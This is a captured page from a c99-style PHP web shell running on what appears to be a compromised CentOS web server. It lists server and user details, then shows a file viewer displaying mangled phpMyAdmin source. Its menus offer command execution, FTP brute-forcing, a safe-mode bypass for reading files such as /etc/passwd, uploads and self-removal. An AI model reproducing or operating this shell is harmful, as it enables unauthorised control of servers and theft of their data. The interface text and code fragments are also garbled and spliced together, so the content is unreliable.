!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/   drwxrwxrwx
Free 52.61 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


= $cfg['MaxExactCount']) { $at_least_one_view_exceeds_max_count = true; $show_superscript = '1'; } else { $show_superscript = ''; } ?> 1)) { ?> 1)) { echo ' ' . "\n"; if (! empty($db_collation)) { echo ' '; } } if ($cfg['ShowStats']) { ?>
Viewing file:     db_details_structure.php (20.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
' . $strNoTablesFound . '

' . "\n"; if (empty($db_is_information_schema)) { require './libraries/display_create_table.lib.php'; } // end if (Create Table dialog) /** * Displays the footer */ require_once './libraries/footer.inc.php'; exit; } // else // 2. Shows table informations - staybyte - 11 June 2001 require_once './libraries/bookmark.lib.php'; if (PMA_MYSQL_INT_VERSION >= 40101) { require_once './libraries/mysql_charsets.lib.php'; $db_collation = PMA_getDbCollation($db); } // Display function /** * void PMA_TableHeader([bool $db_is_information_schema = false]) * display table header (...) * * @uses PMA_showHint() * @uses PMA_MYSQL_INT_VERSION * @uses $GLOBALS['cfg']['PropertiesNumColumns'] * @uses $GLOBALS['cfg']['ShowStats'] * @uses $GLOBALS['strTable'] * @uses $GLOBALS['strAction'] * @uses $GLOBALS['strRecords'] * @uses $GLOBALS['strApproximateCount'] * @uses $GLOBALS['strType'] * @uses $GLOBALS['strCollation'] * @uses $GLOBALS['strSize'] * @uses $GLOBALS['strOverhead'] * @uses $GLOBALS['structure_tbl_col_cnt'] * @param boolean $db_is_information_schema */ function PMA_TableHeader($db_is_information_schema = false) { $cnt = 0; // Let's count the columns... if ($db_is_information_schema) { $action_colspan = 3; } else { $action_colspan = 6; } echo '
' . "\n" .'' . "\n" .'' . "\n" .' ' . "\n" .' ' .' ' . "\n"; if (!($GLOBALS['cfg']['PropertiesNumColumns'] > 1)) { echo ' ' . "\n"; $cnt++; if (PMA_MYSQL_INT_VERSION >= 40100) { echo ' ' . "\n"; $cnt++; } } if ($GLOBALS['cfg']['ShowStats']) { echo ' ' . "\n" . ' ' . "\n"; $cnt += 2; } echo '' . "\n"; echo '' . "\n"; echo '' . "\n"; $GLOBALS['structure_tbl_col_cnt'] = $cnt + $action_colspan + 3; } $titles = array(); if (true == $cfg['PropertiesIconic']) { $titles['Browse'] = '' . $strBrowse . ''; $titles['NoBrowse'] = '' . $strBrowse . ''; $titles['Search'] = '' . $strSearch . ''; $titles['NoSearch'] = '' . $strSearch . ''; $titles['Insert'] = '' . $strInsert . ''; $titles['NoInsert'] = '' . $strInsert . ''; $titles['Structure'] = '' . $strStructure . ''; $titles['Drop'] = '' . $strDrop . ''; $titles['NoDrop'] = '' . $strDrop . ''; $titles['Empty'] = '' . $strEmpty . ''; $titles['NoEmpty'] = '' . $strEmpty . ''; if ('both' === $cfg['PropertiesIconic']) { $titles['Browse'] .= $strBrowse; $titles['Search'] .= $strSearch; $titles['NoBrowse'] .= $strBrowse; $titles['NoSearch'] .= $strSearch; $titles['Insert'] .= $strInsert; $titles['NoInsert'] .= $strInsert; $titles['Structure'] .= $strStructure; $titles['Drop'] .= $strDrop; $titles['NoDrop'] .= $strDrop; $titles['Empty'] .= $strEmpty; $titles['NoEmpty'] .= $strEmpty; } } else { $titles['Browse'] = $strBrowse; $titles['Search'] = $strSearch; $titles['NoBrowse'] = $strBrowse; $titles['NoSearch'] = $strSearch; $titles['Insert'] = $strInsert; $titles['NoInsert'] = $strInsert; $titles['Structure'] = $strStructure; $titles['Drop'] = $strDrop; $titles['NoDrop'] = $strDrop; $titles['Empty'] = $strEmpty; $titles['NoEmpty'] = $strEmpty; } /** * Displays the tables list */ ?> 1 ? ceil($num_tables / $cfg['PropertiesNumColumns']) + 1 : 0; $row_count = 0; $hidden_fields = array(); $odd_row = true; $at_least_one_view_exceeds_max_count = false; foreach ($tables as $keyname => $each_table) { if ($each_table['TABLE_ROWS'] === null || $each_table['TABLE_ROWS'] < $GLOBALS['cfg']['MaxExactCount']) { $each_table['TABLE_ROWS'] = PMA_countRecords($db, $each_table['TABLE_NAME'], $return = true, $force_exact = true); } $table_encoded = urlencode($each_table['TABLE_NAME']); // MySQL < 5.0.13 returns "view", >= 5.0.13 returns "VIEW" $table_is_view = ($each_table['TABLE_TYPE'] === 'VIEW' || $each_table['TABLE_TYPE'] === 'SYSTEM VIEW'); $alias = (!empty($tooltip_aliasname) && isset($tooltip_aliasname[$each_table['TABLE_NAME']])) ? htmlspecialchars($tooltip_aliasname[$each_table['TABLE_NAME']]) : htmlspecialchars($each_table['TABLE_NAME']); $truename = (!empty($tooltip_truename) && isset($tooltip_truename[$each_table['TABLE_NAME']])) ? htmlspecialchars($tooltip_truename[$each_table['TABLE_NAME']]) : htmlspecialchars($each_table['TABLE_NAME']); // Sets parameters for links $tbl_url_query = $url_query . '&table=' . $table_encoded; $i++; $row_count++; if ($table_is_view) { $hidden_fields[] = ''; } if ($each_table['TABLE_ROWS'] > 0) { $browse_table = '' . $titles['Browse'] . ''; $search_table = '' . $titles['Search'] . ''; } else { $browse_table = $titles['NoBrowse']; $search_table = $titles['NoSearch']; } if (! $db_is_information_schema) { if (! empty($each_table['TABLE_ROWS'])) { $empty_table = '' . $titles['Empty'] . ''; } else { $empty_table = $titles['NoEmpty']; } $drop_query = 'DROP ' . ($table_is_view ? 'VIEW' : 'TABLE') . ' ' . PMA_backquote($each_table['TABLE_NAME']); $drop_message = sprintf( $table_is_view ? $strViewHasBeenDropped : $strTableHasBeenDropped, htmlspecialchars($each_table['TABLE_NAME'])); } // loic1: Patch from Joshua Nye to get valid // statistics whatever is the table type if (isset($each_table['TABLE_ROWS'])) { // MyISAM, ISAM or Heap table: Row count, data size and index size // is accurate. if (preg_match('@^(MyISAM|ISAM|HEAP|MEMORY)$@', $each_table['ENGINE'])) { if ($cfg['ShowStats']) { $tblsize = doubleval($each_table['Data_length']) + doubleval($each_table['Index_length']); $sum_size += $tblsize; list($formated_size, $unit) = PMA_formatByteDown($tblsize, 3, ($tblsize > 0) ? 1 : 0); if (isset($each_table['Data_free']) && $each_table['Data_free'] > 0) { list($formated_overhead, $overhead_unit) = PMA_formatByteDown($each_table['Data_free']); $overhead_size += $each_table['Data_free']; } } $sum_entries += $each_table['TABLE_ROWS']; } elseif ($each_table['ENGINE'] == 'InnoDB') { // InnoDB table: Row count is not accurate but data and index // sizes are. if ($cfg['ShowStats']) { $tblsize = $each_table['Data_length'] + $each_table['Index_length']; $sum_size += $tblsize; list($formated_size, $unit) = PMA_formatByteDown($tblsize, 3, ($tblsize > 0) ? 1 : 0); } //$display_rows = ' - '; $sum_entries += $each_table['TABLE_ROWS']; } elseif (preg_match('@^(MRG_MyISAM|BerkeleyDB)$@', $each_table['ENGINE'])) { // Merge or BerkleyDB table: Only row count is accurate. if ($cfg['ShowStats']) { $formated_size = ' - '; $unit = ''; } $sum_entries += $each_table['TABLE_ROWS']; } else { // Unknown table type. if ($cfg['ShowStats']) { $formated_size = 'unknown'; $unit = ''; } } if (PMA_MYSQL_INT_VERSION >= 40100) { if (isset($each_table['Collation'])) { $collation = '' . $each_table['Collation'] . ''; } else { $collation = '---'; } } if ($cfg['ShowStats']) { if (isset($formated_overhead)) { $overhead = '' . $formated_overhead . ' ' . $overhead_unit . '' . "\n"; unset($formated_overhead); $overhead_check .= "document.getElementById('checkbox_tbl_$i').checked = true;"; } else { $overhead = '-'; } } // end if } // end if (isset($each_table['TABLE_ROWS']) if ($num_columns > 0 && $num_tables > $num_columns && (($row_count % $num_columns) == 0)) { $row_count = 1; $odd_row = true; ?>
' . $GLOBALS['strTable'] . '' . "\n" .' ' . $GLOBALS['strAction'] . "\n" .' ' . $GLOBALS['strRecords'] .PMA_showHint($GLOBALS['strApproximateCount']) . "\n" .' ' . $GLOBALS['strType'] . '' . $GLOBALS['strCollation'] . '' . $GLOBALS['strSize'] . '' . $GLOBALS['strOverhead'] . '
/> - --- - -
' .PMA_DBI_get_default_engine() . '' . "\n" . ' ' . $db_collation . '
<?php echo $strWithChecked; ?> / /
' . "\n"; echo '1' . PMA_sanitize(sprintf($strViewMaxExactCount, PMA_formatNumber($cfg['MaxExactCount'], 0), '[a@./Documentation.html#cfg_MaxExactCount@_blank]', '[/a]')) . "\n"; echo '' . "\n"; } ?>
'; echo ''; if ($cfg['PropertiesIconic']) { echo ''; } echo $strPrintView . ' '; echo ''; if ($cfg['PropertiesIconic']) { echo ''; } echo $strDataDict . ''; echo '

'; if (empty($db_is_information_schema)) { require './libraries/display_create_table.lib.php'; } // end if (Create Table dialog) /** * Displays the footer */ require_once './libraries/footer.inc.php'; ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--